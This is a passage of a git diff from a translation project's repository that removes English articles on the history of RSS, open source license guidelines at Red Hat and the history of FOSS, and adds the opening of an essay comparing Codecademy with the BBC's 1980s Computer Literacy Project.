“originally conceived as a way of building mini sitemaps,” and that now he and others wanted to expand RSS “to encompass more types of information than simple news headlines and to cater for the new uses of RSS that have emerged over the last 12 months.” This was a sensible point to make because the goal of the Netscape RSS project in the beginning was even loftier than Davis suggests: Guha told me that he wanted to create a technology that could support not just website channels but feeds about arbitrary entities such as, for example, Madonna. Further developing RSS so that it could do this would indeed be in keeping with that original motivation. But Davis’ argument also overstates the degree to which there was a unified vision at Netscape by the time the RSS specification was published. According to Libby, who I talked to via email, there was eventually contention between a “Let’s Build the Semantic Web” group and “Let’s Make This Simple for People to Author” group even within Netscape. - -For his part, Winer argued that Netscape’s original goals were irrelevant because his Scripting News format was in fact the first RSS and it had been meant for a very different purpose. Given that the people most involved in the development of RSS disagreed about who had created RSS and why, a fork seems to have been inevitable. - -The fork happened after Dornfest announced a proposed RSS 1.0 specification and formed the RSS-DEV Working Group—which would include Davis, Swartz, and several others but not Winer—to get it ready for publication. In the proposed specification, RSS once again stood for “RDF Site Summary,” because RDF had been added back in to represent metadata properties of certain RSS elements. The specification acknowledged Winer by name, giving him credit for popularizing RSS through his “evangelism.” But it also argued that RSS could not be improved in the way that Winer was advocating. Just adding more elements to RSS without providing for extensibility with a module system would “sacrifice scalability.” The specification went on to define a module system for RSS based on XML namespaces. - -Winer felt that it was “unfair” that the RSS-DEV Working Group had arrogated the “RSS 1.0” name for themselves. In another mailing list about decentralization, he wrote that he had “recently had a standard stolen by a big name,” presumably meaning O’Reilly, which had convened the RSS-DEV Working Group. Other members of the Syndication mailing list also felt that the RSS-DEV Working Group should not have used the name “RSS” without unanimous agreement from the community on how to move RSS forward. But the Working Group stuck with the name. Dan Brickley, another member of the RSS-DEV Working Group, defended this decision by arguing that “RSS 1.0 as proposed is solidly grounded in the original RSS vision, which itself had a long heritage going back to MCF (an RDF precursor) and related specs (CDF etc).” He essentially felt that the RSS 1.0 effort had a better claim to the RSS name than Winer did, since RDF had originally been a part of RSS. The RSS-DEV Working Group published a final version of their specification in December. That same month, Winer published his own improvement to RSS 0.91, which he called RSS 0.92, on UserLand’s website. RSS 0.92 made several small optional improvements to RSS, among which was the addition of the `` tag soon used by podcasters everywhere. RSS had officially forked. - -The fork might have been avoided if a better effort had been made to include Winer in the RSS-DEV Working Group. He obviously belonged there. He was a prominent contributor to the Syndication mailing list and responsible for much of RSS’ popularity, as the members of the Working Group themselves acknowledged. But, as Davis wrote in an email to me, Winer “wanted control and wanted RSS to be his legacy so was reluctant to work with us.” Tim O’Reilly, founder and CEO of O’Reilly, explained in a UserLand discussion group in September, 2000 that Winer basically refused to participate: - -> A group of people involved in RSS got together to start thinking about its future evolution. Dave was part of the group. When the consensus of the group turned in a direction he didn’t like, Dave stopped participating, and characterized it as a plot by O’Reilly to take over RSS from him, despite the fact that Rael Dornfest of O’Reilly was only one of about a dozen authors of the proposed RSS 1.0 spec, and that many of those who were part of its development had at least as long a history with RSS as Dave had. - -To this, Winer said: - -> I met with Dale [Dougherty] two weeks before the announcement, and he didn’t say anything about it being called RSS 1.0. I spoke on the phone with Rael the Friday before it was announced, again he didn’t say that they were calling it RSS 1.0. The first I found out about it was when it was publicly announced. -> -> Let me ask you a straight question. If it turns out that the plan to call the new spec “RSS 1.0” was done in private, without any heads-up or consultation, or for a chance for the Syndication list members to agree or disagree, not just me, what are you going to do? -> -> UserLand did a lot of work to create and popularize and support RSS. We walked away from that, and let your guys have the name. That’s the top level. If I want to do any further work in Web syndication, I have to use a different name. Why and how did that happen Tim? - -I have not been able to find a discussion in the Syndication mailing list about using the RSS 1.0 name prior to the announcement of the RSS 1.0 proposal. Winer, in a message to me, said that he was not trying to control RSS and just wanted to use it in his products. - -RSS would fork again in 2003, when several developers frustrated with the bickering in the RSS community sought to create an entirely new format. These developers created Atom, a format that did away with RDF but embraced XML namespaces. Atom would eventually be specified by [a proposed IETF standard][8]. After the introduction of Atom, there were three competing versions of RSS: Winer’s RSS 0.92 (updated to RSS 2.0 in 2002 and renamed “Really Simple Syndication”), the RSS-DEV Working Group’s RSS 1.0, and Atom. - -### Decline - -The proliferation of competing RSS specifications may have hampered RSS in other ways that I’ll discuss shortly. But it did not stop RSS from becoming enormously popular during the 2000s. By 2004, the New York Times had started offering its headlines in RSS and had written an article explaining to the layperson what RSS was and how to use it. Google Reader, the RSS aggregator ultimately used by millions, was launched in 2005. By 2013, RSS seemed popular enough that the New York Times, in its obituary for Aaron Swartz, called the technology “ubiquitous.” For a while, before a third of the planet had signed up for Facebook, RSS was simply how many people stayed abreast of news on the internet. - -The New York Times published Swartz’ obituary in January 2013. By that point, though, RSS had actually turned a corner and was well on its way to becoming an obscure technology. Google Reader was shut down in July 2013, ostensibly because user numbers had been falling “over the years.” This prompted several articles from various outlets declaring that RSS was dead. But people had been declaring that RSS was dead for years, even before Google Reader’s shuttering. Steve Gillmor, writing for TechCrunch in May 2009, advised that “it’s time to get completely off RSS and switch to Twitter” because “RSS just doesn’t cut it anymore.” He pointed out that Twitter was basically a better RSS feed, since it could show you what people thought about an article in addition to the article itself. It allowed you to follow people and not just channels. Gillmor told his readers that it was time to let RSS recede into the background. He ended his article with a verse from Bob Dylan’s “Forever Young.” - -Today, RSS is not dead. But neither is it anywhere near as popular as it once was. Lots of people have offered explanations for why RSS lost its broad appeal. Perhaps the most persuasive explanation is exactly the one offered by Gillmor in 2009. Social networks, just like RSS, provide a feed featuring all the latest news on the internet. Social networks took over from RSS because they were simply better feeds. They also provide more benefits to the companies that own them. Some people have accused Google, for example, of shutting down Google Reader in order to encourage people to use Google+. Google might have been able to monetize Google+ in a way that it could never have monetized Google Reader. Marco Arment, the creator of Instapaper, wrote on his blog in 2013: - -> Google Reader is just the latest casualty of the war that Facebook started, seemingly accidentally: the battle to own everything. While Google did technically “own” Reader and could make some use of the huge amount of news and attention data flowing through it, it conflicted with their far more important Google+ strategy: they need everyone reading and sharing everything through Google+ so they can compete with Facebook for ad-targeting data, ad dollars, growth, and relevance. - -So both users and technology companies realized that they got more out of using social networks than they did out of RSS. - -Another theory is that RSS was always too geeky for regular people. Even the New York Times, which seems to have been eager to adopt RSS and promote it to its audience, complained in 2006 that RSS is a “not particularly user friendly” acronym coined by “computer geeks.” Before the RSS icon was designed in 2004, websites like the New York Times linked to their RSS feeds using little orange boxes labeled “XML,” which can only have been intimidating. The label was perfectly accurate though, because back then clicking the link would take a hapless user to a page full of XML. [This great tweet][9] captures the essence of this explanation for RSS’ demise. Regular people never felt comfortable using RSS; it hadn’t really been designed as a consumer-facing technology and involved too many hurdles; people jumped ship as soon as something better came along. - -RSS might have been able to overcome some of these limitations if it had been further developed. Maybe RSS could have been extended somehow so that friends subscribed to the same channel could syndicate their thoughts about an article to each other. Maybe browser support could have been improved. But whereas a company like Facebook was able to “move fast and break things,” the RSS developer community was stuck trying to achieve consensus. When they failed to agree on a single standard, effort that could have gone into improving RSS was instead squandered on duplicating work that had already been done. Davis told me, for example, that Atom would not have been necessary if the members of the Syndication mailing list had been able to compromise and collaborate, and “all that cleanup work could have been put into RSS to strengthen it.” So if we are asking ourselves why RSS is no longer popular, a good first-order explanation is that social networks supplanted it. If we ask ourselves why social networks were able to supplant it, then the answer may be that the people trying to make RSS succeed faced a problem much harder than, say, building Facebook. As Dornfest wrote to the Syndication mailing list at one point, “currently it’s the politics far more than the serialization that’s far from simple.” - -So today we are left with centralized silos of information. Even so, the syndicated web that Werbach foresaw in 1999 has been realized, just not in the way he thought it would be. After all, The Onion is a publication that relies on syndication through Facebook and Twitter the same way that Seinfeld relied on syndication to rake in millions after the end of its original run. I asked Werbach what he thinks about this and he more or less agrees. He told me that RSS, on one level, was clearly a failure, because it isn’t now “a technology that is really the core of the whole blogging world or content world or world of assembling different elements of things into sites.” But, on another level, “the whole social media revolution is partly about the ability to aggregate different content and resources” in a manner reminiscent of RSS and his original vision for a syndicated web. To Werbach, “it’s the legacy of RSS, even if it’s not built on RSS.” - -Unfortunately, syndication on the modern web still only happens through one of a very small number of channels, meaning that none of us “retain control over our online personae” the way that Werbach imagined we would. One reason this happened is garden-variety corporate rapaciousness—RSS, an open format, didn’t give technology companies the control over data and eyeballs that they needed to sell ads, so they did not support it. But the more mundane reason is that centralized silos are just easier to design than common standards. Consensus is difficult to achieve and it takes time, but without consensus spurned developers will go off and create competing standards. The lesson here may be that if we want to see a better, more open web, we have to get better at not screwing each other over. - -If you enjoyed this post, more like it come out every four weeks! Follow [@TwoBitHistory][10] on Twitter or subscribe to the [RSS feed][11] to make sure you know when a new post is out. - -Previously on TwoBitHistory… - -> I've long wondered if the Unix commands on my Macbook are built from the same code that they were built from 20 or 30 years ago. The answer, it turns, out, is "kinda"! -> -> My latest post, on how the implementation of cat has changed over the years: -> -> — TwoBitHistory (@TwoBitHistory) [November 12, 2018][12] - --------------------------------------------------------------------------------- - -via: https://twobithistory.org/2018/12/18/rss.html - -作者:[Two-Bit History][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://twobithistory.org -[b]: https://github.com/lujun9972 -[1]: https://twobithistory.org/2018/09/16/the-rise-and-demise-of-rss.html -[2]: https://trends.google.com/trends/explore?date=all&geo=US&q=rss -[3]: https://twobithistory.org/images/mnn-channel.gif -[4]: https://twobithistory.org/2018/05/27/semantic-web.html -[5]: http://web.archive.org/web/19970703020212/http://mcf.research.apple.com:80/hs/screen_shot.html -[6]: http://scripting.com -[7]: https://groups.yahoo.com/neo/groups/syndication/info -[8]: https://tools.ietf.org/html/rfc4287 -[9]: https://twitter.com/mgsiegler/status/311992206716203008 -[10]: https://twitter.com/TwoBitHistory -[11]: https://twobithistory.org/feed.xml -[12]: https://twitter.com/TwoBitHistory/status/1062114484209311746?ref_src=twsrc%5Etfw diff --git a/sources/talk/20190227 Let your engineers choose the license- A guide.md b/sources/talk/20190227 Let your engineers choose the license- A guide.md deleted file mode 100644 index 81a8dd8ee2..0000000000 --- a/sources/talk/20190227 Let your engineers choose the license- A guide.md +++ /dev/null @@ -1,62 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Let your engineers choose the license: A guide) -[#]: via: (https://opensource.com/article/19/2/choose-open-source-license-engineers) -[#]: author: (Jeffrey Robert Kaufman https://opensource.com/users/jkaufman) - -Let your engineers choose the license: A guide -====== -Enabling engineers to make licensing decisions is wise and efficient. -![](https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_hands_team_collaboration.png?itok=u82QepPk) - -Imagine you are working for a company that will be starting a new open source community project. Great! You have taken a positive first step to give back and enable a virtuous cycle of innovation that the open source community-based development model provides. - -But what about choosing an open source license for your project? You ask your manager for guidance, and she provides some perspective but quickly realizes that there is no formal company policy or guidelines. As any wise manager would do, she asks you to develop formal corporate guidelines for choosing an open source license for such projects. - -Simple, right? You may be surprised to learn some unexpected challenges. This article will describe some of the complexities you may encounter and some perspective based on my recent experience with a similar project at Red Hat. - -It may be useful to quickly review some of the more common forms of open source licensing. Open source licenses may be generally placed into two main buckets, copyleft and permissive. - -> Copyleft licenses, such as the GPL, allow access to source code, modifications to the source, and distribution of the source or binary versions in their original or modified forms. Copyleft additionally provides that essential software freedoms (run, study, change, and distribution) will be allowed and ensured for any recipients of that code. A copyleft license prohibits restrictions or limitations on these essential software freedoms. -> -> Permissive licenses, similar to copyleft, also generally allow access to source code, modifications to the source, and distribution of the source or binary versions in their original or modified forms. However, unlike copyleft licenses, additional restrictions may be included with these forms of licenses, including proprietary limitations such as prohibiting the creation of modified works or further distribution. - -Red Hat is one of the leading open source development companies, with thousands of open source developers continuously working upstream and contributing to an assortment of open source projects. When I joined Red Hat, I was very familiar with its flagship Red Hat Enterprise Linux offering, often referred to as RHEL. Although I fully expected that the company contributes under a wide assortment of licenses based on project requirements, I thought our preference and top recommendation for our engineers would be GPLv2 due to our significant involvement with Linux. In addition, GPL is a copyleft license, and copyleft ensures that the essential software freedoms (run, study, change, distribute) will be extended to any recipients of that code. What could be better for sustaining the open source ecosystem than a copyleft license? - -Fast forwarding on my journey to craft internal license choice guidelines for Red Hat, the end result was to not have any license preference at all. Instead, we delegate that responsibility, to the maximum extent possible, to our engineers. Why? Because each open source project and community is unique and there are social aspects to these communities that may have preferences towards various licensing philosophies (e.g., copyleft or permissive). Engineers working in those communities understand all these issues and are best equipped to choose the proper license on this knowledge. Mandating certain licenses for code contributions often will conflict with these community norms and result in reduction or prohibition in contributed content. - -For example, perhaps your organization believes that the latest GPL license (GPLv3) is the best for your company due to its updated provisions. If you mandated GPLv3 for all future contributions vs. GPLv2, you would be prohibited from contributing code to the Linux kernel, since that is a GPLv2 project and will likely remain that way for a very long time. Your engineers, being part of that open source community project, would know that and would automatically choose GPLv2 in the absence of such a mandate. - -Bottom line: Enabling engineers to make these decisions is wise and efficient. - -To the extent your organization may have to restrict the use of certain licenses (e.g., due to certain intellectual property concerns), this should naturally be part of your guidelines or policy. I believe it is much better to delegate to the maximum extent possible to those that understand all the nuances, politics, and licensing philosophies of these varied communities and restrict license choice only when absolutely necessary. Even having a preference for a certain license over another can be problematic. Open source engineers may have deeply rooted feelings about copyleft (either for or against), and forcing one license over the other (unless absolutely necessary for business reasons) may result in creating ill-will and ostracizing an engineer or engineering department within your organization - -In summary, Red Hat's guidelines are very simple and are summarized below: - - 1. We suggest choosing an open source license from a set of 10 different licenses that are very common and meet the needs of most new open source projects. - - 2. We allow the use of other licenses but we ask that a reason is provided to the open source legal team so we can collect and better understand some of the new and perhaps evolving needs of the open source communities that we serve. (As stated above, our engineers are on the front lines and are best equipped to deliver this type of information.) - - 3. The open source legal team always has the right to override a decision, but this would be very rare and only would occur if we were aware of some community or legal concern regarding a specific license or project. - - 4. Publishing source code without a license is never permitted. - -In summary, the advantages of these guidelines are enormous. They are very efficient and lead to a very low-friction development and approval system within our organization. - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/19/2/choose-open-source-license-engineers - -作者:[Jeffrey Robert Kaufman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jkaufman -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20190228 A Brief History of FOSS Practices.md b/sources/talk/20190228 A Brief History of FOSS Practices.md deleted file mode 100644 index 58e90a8efa..0000000000 --- a/sources/talk/20190228 A Brief History of FOSS Practices.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (A Brief History of FOSS Practices) -[#]: via: (https://itsfoss.com/history-of-foss) -[#]: author: (Avimanyu Bandyopadhyay https://itsfoss.com/author/avimanyu/) - -A Brief History of FOSS Practices -====== - -We focus a great deal about Linux and Free & Open Source Software at It’s FOSS. Ever wondered how old such FOSS Practices are? How did this Practice come by? What is the History behind this revolutionary concept? - -In this history and trivia article, let’s take a look back in time through this brief write-up and note some interesting initiatives in the past that have grown so huge today. - -### Origins of FOSS - -![History of FOSS][1] - -The origins of FOSS goes back to the 1950s. When hardware was purchased, there used to be no additional charges for bundled software and the source code would also be available in order to fix possible bugs in the software. - -It was actually a common Practice back then for users with the freedom to customize the code. - -At that time, mostly academicians and researchers in the industry were the collaborators to develop such software. - -The term Open Source was not there yet. Instead, the term that was popular at that time was “Public Domain Software”. As of today, ideologically, both are very much [different][2] in nature even though they may sound similar. - - - -Back in 1955, some users of the [IBM 701][3] computer system from Los Angeles, voluntarily founded a group called SHARE. The “SHARE Program Library Agency” (SPLA) distributed information and software through magnetic tapes. - -Technical information shared, was about programming languages, operating systems, database systems, and user experiences for enterprise users of small, medium, and large-scale IBM computers. - -The initiative that is now more than 60 years old, continues to follow its goals quite actively. SHARE has its upcoming event coming up as [SHARE Phoenix 2019][4]. You can download and check out their complete timeline [here][5]. - -### The GNU Project - -Announced at MIT on September 27, 1983, by Richard Stallman, the GNU Project is what immensely empowers and supports the Free Software Community today. - -### Free Software Foundation - -The “Free Software Movement” by Richard Stallman established a new norm for developing Free Software. - -He founded The Free Software Foundation (FSF) on 4th October 1985 to support the free software movement. Software that ensures that the end users have freedom in using, studying, sharing and modifying that software came to be called as Free Software. - -**Free as in Free Speech, Not Free Beer** - - - -The Free Software Movement laid the following rules to establish the distinctiveness of the idea: - - * The freedom to run the program as you wish, for any purpose (freedom 0). - * The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this. - * The freedom to redistribute copies so you can help your neighbor (freedom 2). - * The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this. - -### The Linux Kernel - - - -How can we miss this section at It’s FOSS! The Linux kernel was released as freely modifiable source code in 1991 by Linus Torvalds. At first, it was neither Free Software nor used an Open-source software license. In February 1992, Linux was relicensed under the GPL. - -### The Linux Foundation - -The Linux Foundation has a goal to empower open source projects to accelerate technology development and commercial adoption. It is an initiative that was taken in 2000 via the [Open Source Development Labs][6] (OSDL) which later merged with the [Free Standards Group][7]. - -Linus Torvalds works at The Linux Foundation who provide complete support to him so that he can work full-time on improving Linux. - -### Open Source - -When the source code of [Netscape][8] Communicator was released in 1998, the label “Open Source” was adopted by a group of individuals at a strategy session held on February 3rd, 1998 in Palo Alto, California. The idea grew from a visionary realization that the [Netscape announcement][9] had changed the way people looked at commercial software. - -This opened up a whole new world, creating a new perspective that revealed the superiority and advantage of an open development process that could be powered by collaboration. - -[Christine Peterson][10] was the one among that group of individuals who originally suggested the term “Open Source” as we perceive today (mentioned [earlier][11]). - -### Evolution of Business Models - -The concept of Open Source is a huge phenomenon right now and there are several companies that continue to adopt the Open Source Approach to this day. [As of April 2015, 78% of companies used Open Source Software][12] with different [Open Source Licenses][13]. - -Several organisations have adopted [different business models][14] for Open Source. Red Hat and Mozilla are two good examples. - -So this was a brief recap of some interesting facts from FOSS History. Do let us know your thoughts if you want to share in the comments below. - - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/history-of-foss - -作者:[Avimanyu Bandyopadhyay][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/avimanyu/ -[b]: https://github.com/lujun9972 -[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2019/02/history-of-foss.png?resize=800%2C450&ssl=1 -[2]: https://opensource.org/node/878 -[3]: https://en.wikipedia.org/wiki/IBM_701 -[4]: https://event.share.org/home -[5]: https://www.share.org/d/do/11532 -[6]: https://en.wikipedia.org/wiki/Open_Source_Development_Labs -[7]: https://en.wikipedia.org/wiki/Free_Standards_Group -[8]: https://en.wikipedia.org/wiki/Netscape -[9]: https://web.archive.org/web/20021001071727/http://wp.netscape.com:80/newsref/pr/newsrelease558.html -[10]: https://en.wikipedia.org/wiki/Christine_Peterson -[11]: https://itsfoss.com/nanotechnology-open-science-ai/ -[12]: https://www.zdnet.com/article/its-an-open-source-world-78-percent-of-companies-run-open-source-software/ -[13]: https://itsfoss.com/open-source-licenses-explained/ -[14]: https://opensource.com/article/17/12/open-source-business-models diff --git a/sources/talk/20190331 Codecademy vs. The BBC Micro.md b/sources/talk/20190331 Codecademy vs. The BBC Micro.md new file mode 100644 index 0000000000..bb5ee313c8 --- /dev/null +++ b/sources/talk/20190331 Codecademy vs. The BBC Micro.md @@ -0,0 +1,145 @@ +[#]: subject: "Codecademy vs. The BBC Micro" +[#]: via: "https://twobithistory.org/2019/03/31/bbc-micro.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "yesimmia" +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Codecademy vs. The BBC Micro +====== + +In the late 1970s, the computer, which for decades had been a mysterious, hulking machine that only did the bidding of corporate overlords, suddenly became something the average person could buy and take home. An enthusiastic minority saw how great this was and rushed to get a computer of their own. For many more people, the arrival of the microcomputer triggered helpless anxiety about the future. An ad from a magazine at the time promised that a home computer would “give your child an unfair advantage in school.” It showed a boy in a smart blazer and tie eagerly raising his hand to answer a question, while behind him his dim-witted classmates look on sullenly. The ad and others like it implied that the world was changing quickly and, if you did not immediately learn how to use one of these intimidating new devices, you and your family would be left behind. + +In the UK, this anxiety metastasized into concern at the highest levels of government about the competitiveness of the nation. The 1970s had been, on the whole, an underwhelming decade for Great Britain. Both inflation and unemployment had been high. Meanwhile, a series of strikes put London through blackout after blackout. A government report from 1979 fretted that a failure to keep up with trends in computing technology would “add another factor to our poor industrial performance.”[1][1] The country already seemed to be behind in the computing arena—all the great computer companies were American, while integrated circuits were being assembled in Japan and Taiwan. + +In an audacious move, the BBC, a public service broadcaster funded by the government, decided that it would solve Britain’s national competitiveness problems by helping Britons everywhere overcome their aversion to computers. It launched the _Computer Literacy Project_, a multi-pronged educational effort that involved several TV series, a few books, a network of support groups, and a specially built microcomputer known as the BBC Micro. The project was so successful that, by 1983, an editor for BYTE Magazine wrote, “compared to the US, proportionally more of Britain’s population is interested in microcomputers.”[2][2] The editor marveled that there were more people at the Fifth Personal Computer World Show in the UK than had been to that year’s West Coast Computer Faire. Over a sixth of Great Britain watched an episode in the first series produced for the _Computer Literacy Project_ and 1.5 million BBC Micros were ultimately sold.[3][3] + +[An archive][4] containing every TV series produced and all the materials published for the _Computer Literacy Project_ was put on the web last year. I’ve had a huge amount of fun watching the TV series and trying to imagine what it would have been like to learn about computing in the early 1980s. But what’s turned out to be more interesting is how computing was _taught_. Today, we still worry about technology leaving people behind. Wealthy tech entrepreneurs and governments spend lots of money trying to teach kids “to code.” We have websites like Codecademy that make use of new technologies to teach coding interactively. One would assume that this approach is more effective than a goofy ’80s TV series. But is it? + +### The Computer Literacy Project + +The microcomputer revolution began in 1975 with the release of [the Altair 8800][5]. Only two years later, the Apple II, TRS-80, and Commodore PET had all been released. Sales of the new computers exploded. In 1978, the BBC explored the dramatic societal changes these new machines were sure to bring in a documentary called “Now the Chips Are Down.” + +The documentary was alarming. Within the first five minutes, the narrator explains that microelectronics will “totally revolutionize our way of life.” As eerie synthesizer music plays, and green pulses of electricity dance around a magnified microprocessor on screen, the narrator argues that the new chips are why “Japan is abandoning its ship building, and why our children will grow up without jobs to go to.” The documentary goes on to explore how robots are being used to automate car assembly and how the European watch industry has lost out to digital watch manufacturers in the United States. It castigates the British government for not doing more to prepare the country for a future of mass unemployment. + +The documentary was supposedly shown to the British Cabinet.[4][6] Several government agencies, including the Department of Industry and the Manpower Services Commission, became interested in trying to raise awareness about computers among the British public. The Manpower Services Commission provided funds for a team from the BBC’s education division to travel to Japan, the United States, and other countries on a fact-finding trip. This research team produced a report that cataloged the ways in which microelectronics would indeed mean major changes for industrial manufacturing, labor relations, and office work. In late 1979, it was decided that the BBC should make a ten-part TV series that would help regular Britons “learn how to use and control computers and not feel dominated by them.”[5][7] The project eventually became a multimedia endeavor similar to the _Adult Literacy Project_, an earlier BBC undertaking involving both a TV series and supplemental courses that helped two million people improve their reading. + +The producers behind the _Computer Literacy Project_ were keen for the TV series to feature “hands-on” examples that viewers could try on their own if they had a microcomputer at home. These examples would have to be in BASIC, since that was the language (really the entire shell) used on almost all microcomputers. But the producers faced a thorny problem: Microcomputer manufacturers all had their own dialects of BASIC, so no matter which dialect they picked, they would inevitably alienate some large fraction of their audience. The only real solution was to create a new BASIC—BBC BASIC—and a microcomputer to go along with it. Members of the British public would be able to buy the new microcomputer and follow along without worrying about differences in software or hardware. + +The TV producers and presenters at the BBC were not capable of building a microcomputer on their own. So they put together a specification for the computer they had in mind and invited British microcomputer companies to propose a new machine that met the requirements. The specification called for a relatively powerful computer because the BBC producers felt that the machine should be able to run real, useful applications. Technical consultants for the _Computer Literacy Project_ also suggested that, if it had to be a BASIC dialect that was going to be taught to the entire nation, then it had better be a good one. (They may not have phrased it exactly that way, but I bet that’s what they were thinking.) BBC BASIC would make up for some of BASIC’s usual shortcomings by allowing for recursion and local variables.[6][8] + +The BBC eventually decided that a Cambridge-based company called Acorn Computers would make the BBC Micro. In choosing Acorn, the BBC passed over a proposal from Clive Sinclair, who ran a company called Sinclair Research. Sinclair Research had brought mass-market microcomputing to the UK in 1980 with the Sinclair ZX80. Sinclair’s new computer, the ZX81, was cheap but not powerful enough for the BBC’s purposes. Acorn’s new prototype computer, known internally as the Proton, would be more expensive but more powerful and expandable. The BBC was impressed. The Proton was never marketed or sold as the Proton because it was instead released in December 1981 as the BBC Micro, also affectionately called “The Beeb.” You could get a 16k version for £235 and a 32k version for £335. + +In 1980, Acorn was an underdog in the British computing industry. But the BBC Micro helped establish the company’s legacy. Today, the world’s most popular microprocessor instruction set is the ARM architecture. “ARM” now stands for “Advanced RISC Machine,” but originally it stood for “Acorn RISC Machine.” ARM Holdings, the company behind the architecture, was spun out from Acorn in 1990. + +![Picture of the BBC Micro.][9] _A bad picture of a BBC Micro, taken by me at the Computer History Museum +in Mountain View, California._ + +### The Computer Programme + +A dozen different TV series were eventually produced as part of the _Computer Literacy Project_, but the first of them was a ten-part series known as _The Computer Programme_. The series was broadcast over ten weeks at the beginning of 1982. A million people watched each week-night broadcast of the show; a quarter million watched the reruns on Sunday and Monday afternoon. + +The show was hosted by two presenters, Chris Serle and Ian McNaught-Davis. Serle plays the neophyte while McNaught-Davis, who had professional experience programming mainframe computers, plays the expert. This was an inspired setup. It made for [awkward transitions][10]—Serle often goes directly from a conversation with McNaught-Davis to a bit of walk-and-talk narration delivered to the camera, and you can’t help but wonder whether McNaught-Davis is still standing there out of frame or what. But it meant that Serle could voice the concerns that the audience would surely have. He can look intimidated by a screenful of BASIC and can ask questions like, “What do all these dollar signs mean?” At several points during the show, Serle and McNaught-Davis sit down in front of a computer and essentially pair program, with McNaught-Davis providing hints here and there while Serle tries to figure it out. It would have been much less relatable if the show had been presented by a single, all-knowing narrator. + +The show also made an effort to demonstrate the many practical applications of computing in the lives of regular people. By the early 1980s, the home computer had already begun to be associated with young boys and video games. The producers behind _The Computer Programme_ sought to avoid interviewing “impressively competent youngsters,” as that was likely “to increase the anxieties of older viewers,” a demographic that the show was trying to attract to computing.[7][11] In the first episode of the series, Gill Nevill, the show’s “on location” reporter, interviews a woman that has bought a Commodore PET to help manage her sweet shop. The woman (her name is Phyllis) looks to be 60-something years old, yet she has no trouble using the computer to do her accounting and has even started using her PET to do computer work for other businesses, which sounds like the beginning of a promising freelance career. Phyllis says that she wouldn’t mind if the computer work grew to replace her sweet shop business since she enjoys the computer work more. This interview could instead have been an interview with a teenager about how he had modified _Breakout_ to be faster and more challenging. But that would have been encouraging to almost nobody. On the other hand, if Phyllis, of all people, can use a computer, then surely you can too. + +While the show features lots of BASIC programming, what it really wants to teach its audience is how computing works in general. The show explains these general principles with analogies. In the second episode, there is an extended discussion of the Jacquard loom, which accomplishes two things. First, it illustrates that computers are not based only on magical technology invented yesterday—some of the foundational principles of computing go back two hundred years and are about as simple as the idea that you can punch holes in card to control a weaving machine. Second, the interlacing of warp and weft threads is used to demonstrate how a binary choice (does the weft thread go above or below the warp thread?) is enough, when repeated over and over, to produce enormous variation. This segues, of course, into a discussion of how information can be stored using binary digits. + +Later in the show there is a section about a steam organ that plays music encoded in a long, segmented roll of punched card. This time the analogy is used to explain subroutines in BASIC. Serle and McNaught-Davis lay out the whole roll of punched card on the floor in the studio, then point out the segments where it looks like a refrain is being repeated. McNaught-Davis explains that a subroutine is what you would get if you cut out those repeated segments of card and somehow added an instruction to go back to the original segment that played the refrain for the first time. This is a brilliant explanation and probably one that stuck around in people’s minds for a long time afterward. + +I’ve picked out only a few examples, but I think in general the show excels at demystifying computers by explaining the principles that computers rely on to function. The show could instead have focused on teaching BASIC, but it did not. This, it turns out, was very much a conscious choice. In a retrospective written in 1983, John Radcliffe, the executive producer of the _Computer Literacy Project_, wrote the following: + +> If computers were going to be as important as we believed, some genuine understanding of this new subject would be important for everyone, almost as important perhaps as the capacity to read and write. Early ideas, both here and in America, had concentrated on programming as the main route to computer literacy. However, as our thinking progressed, although we recognized the value of “hands-on” experience on personal micros, we began to place less emphasis on programming and more on wider understanding, on relating micros to larger machines, encouraging people to gain experience with a range of applications programs and high-level languages, and relating these to experience in the real world of industry and commerce…. Our belief was that once people had grasped these principles, at their simplest, they would be able to move further forward into the subject. + +Later, Radcliffe writes, in a similar vein: + +> There had been much debate about the main explanatory thrust of the series. One school of thought had argued that it was particularly important for the programmes to give advice on the practical details of learning to use a micro. But we had concluded that if the series was to have any sustained educational value, it had to be a way into the real world of computing, through an explanation of computing principles. This would need to be achieved by a combination of studio demonstration on micros, explanation of principles by analogy, and illustration on film of real-life examples of practical applications. Not only micros, but mini computers and mainframes would be shown. + +I love this, particularly the part about mini-computers and mainframes. The producers behind _The Computer Programme_ aimed to help Britons get situated: Where had computing been, and where was it going? What can computers do now, and what might they do in the future? Learning some BASIC was part of answering those questions, but knowing BASIC alone was not seen as enough to make someone computer literate. + +### Computer Literacy Today + +If you google “learn to code,” the first result you see is a link to Codecademy’s website. If there is a modern equivalent to the _Computer Literacy Project_, something with the same reach and similar aims, then it is Codecademy. + +“Learn to code” is Codecademy’s tagline. I don’t think I’m the first person to point this out—in fact, I probably read this somewhere and I’m now ripping it off—but there’s something revealing about using the word “code” instead of “program.” It suggests that the important thing you are learning is how to decode the 